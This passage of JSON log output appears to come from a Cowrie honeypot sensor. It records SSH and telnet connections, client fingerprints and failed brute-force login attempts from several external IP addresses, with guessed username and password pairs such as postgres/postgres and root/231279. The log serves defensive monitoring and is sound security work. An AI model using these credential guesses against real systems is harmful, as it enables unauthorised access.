0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:16.893461Z","src_ip":"91.92.40.171","session":"abaf84918255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"root","message":"login attempt [developer/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:17.668392Z","src_ip":"91.92.40.171","session":"abaf84918255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:17.854956Z","src_ip":"91.92.42.133","session":"f9c0efe8b497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:18.782204Z","src_ip":"91.92.40.171","session":"abaf84918255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.61.78.82","src_port":50900,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d76e95de51f","protocol":"telnet","message":"New connection: 37.61.78.82:50900 (10.17.0.5:23) [session: 6d76e95de51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:19.679191Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43002,"dst_ip":"159.203.135.109","dst_port":22,"session":"300353756e20","protocol":"ssh","message":"New connection: 91.92.42.133:43002 (159.203.135.109:22) [session: 300353756e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:22.204349Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":37926,"dst_ip":"159.203.135.109","dst_port":22,"session":"be1a552b1c6e","protocol":"ssh","message":"New connection: 91.92.40.171:37926 (159.203.135.109:22) [session: be1a552b1c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:22.365326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:22.498794Z","src_ip":"91.92.40.171","session":"be1a552b1c6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:22.501679Z","src_ip":"91.92.40.171","session":"be1a552b1c6e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:22.670502Z","src_ip":"91.92.42.133","session":"300353756e20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:22.673397Z","src_ip":"91.92.42.133","session":"300353756e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"qwerty","message":"login attempt [newuser/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:23.319238Z","src_ip":"91.92.40.171","session":"be1a552b1c6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:23.890232Z","src_ip":"91.92.42.133","session":"300353756e20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:24.475891Z","src_ip":"91.92.40.171","session":"be1a552b1c6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:25.279632Z","src_ip":"91.92.42.133","session":"300353756e20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":49568,"dst_ip":"159.203.135.109","dst_port":22,"session":"7efe88d43107","protocol":"ssh","message":"New connection: 91.92.40.171:49568 (159.203.135.109:22) [session: 7efe88d43107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:27.905139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:28.064948Z","src_ip":"91.92.40.171","session":"7efe88d43107","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:28.067933Z","src_ip":"91.92.40.171","session":"7efe88d43107","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jellyfin","password":"root","message":"login attempt [jellyfin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:28.937605Z","src_ip":"91.92.40.171","session":"7efe88d43107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50512,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca9c42157c02","protocol":"ssh","message":"New connection: 91.92.42.133:50512 (159.203.135.109:22) [session: ca9c42157c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:30.036846Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:30.233068Z","src_ip":"91.92.40.171","session":"7efe88d43107","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:30.720808Z","src_ip":"91.92.42.133","session":"ca9c42157c02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:30.724129Z","src_ip":"91.92.42.133","session":"ca9c42157c02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.104273557662964,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:32.783329Z","src_ip":"37.61.78.82","session":"6d76e95de51f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:32.792523Z","src_ip":"91.92.42.133","session":"ca9c42157c02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":49054,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bab25e60f30","protocol":"ssh","message":"New connection: 109.237.96.109:49054 (10.17.0.5:22) [session: 9bab25e60f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:32.885442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:32.889480Z","src_ip":"109.237.96.109","session":"9bab25e60f30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:32.979985Z","src_ip":"109.237.96.109","session":"9bab25e60f30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"231279","message":"login attempt [root/231279] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:33.254177Z","src_ip":"109.237.96.109","session":"9bab25e60f30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:34.011362Z","src_ip":"91.92.42.133","session":"ca9c42157c02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":49582,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c2f44a5eb97","protocol":"ssh","message":"New connection: 91.92.40.171:49582 (159.203.135.109:22) [session: 3c2f44a5eb97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:34.329270Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:34.347457Z","src_ip":"109.237.96.109","session":"9bab25e60f30","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:34.377847Z","src_ip":"91.92.40.171","session":"3c2f44a5eb97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:34.753161Z","src_ip":"91.92.40.171","session":"3c2f44a5eb97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.885239362716675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:36.224875Z","src_ip":"23.94.112.3","session":"d6d807961cc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":60912,"dst_ip":"159.203.135.109","dst_port":22,"session":"be4af395a943","protocol":"ssh","message":"New connection: 103.77.242.62:60912 (159.203.135.109:22) [session: be4af395a943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:37.078377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:37.082422Z","src_ip":"103.77.242.62","session":"be4af395a943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:37.263873Z","src_ip":"91.92.40.171","session":"3c2f44a5eb97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:37.327268Z","src_ip":"103.77.242.62","session":"be4af395a943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56190,"dst_ip":"159.203.135.109","dst_port":22,"session":"c646375bb5fa","protocol":"ssh","message":"New connection: 91.92.42.133:56190 (159.203.135.109:22) [session: c646375bb5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:37.787971Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"kostja","message":"login attempt [root/kostja] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:38.067458Z","src_ip":"103.77.242.62","session":"be4af395a943","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:38.098852Z","src_ip":"91.92.42.133","session":"c646375bb5fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:38.104748Z","src_ip":"91.92.42.133","session":"c646375bb5fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:38.824550Z","src_ip":"91.92.40.171","session":"3c2f44a5eb97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:23:39.313872Z","src_ip":"103.77.242.62","session":"be4af395a943","protocol":"ssh"}
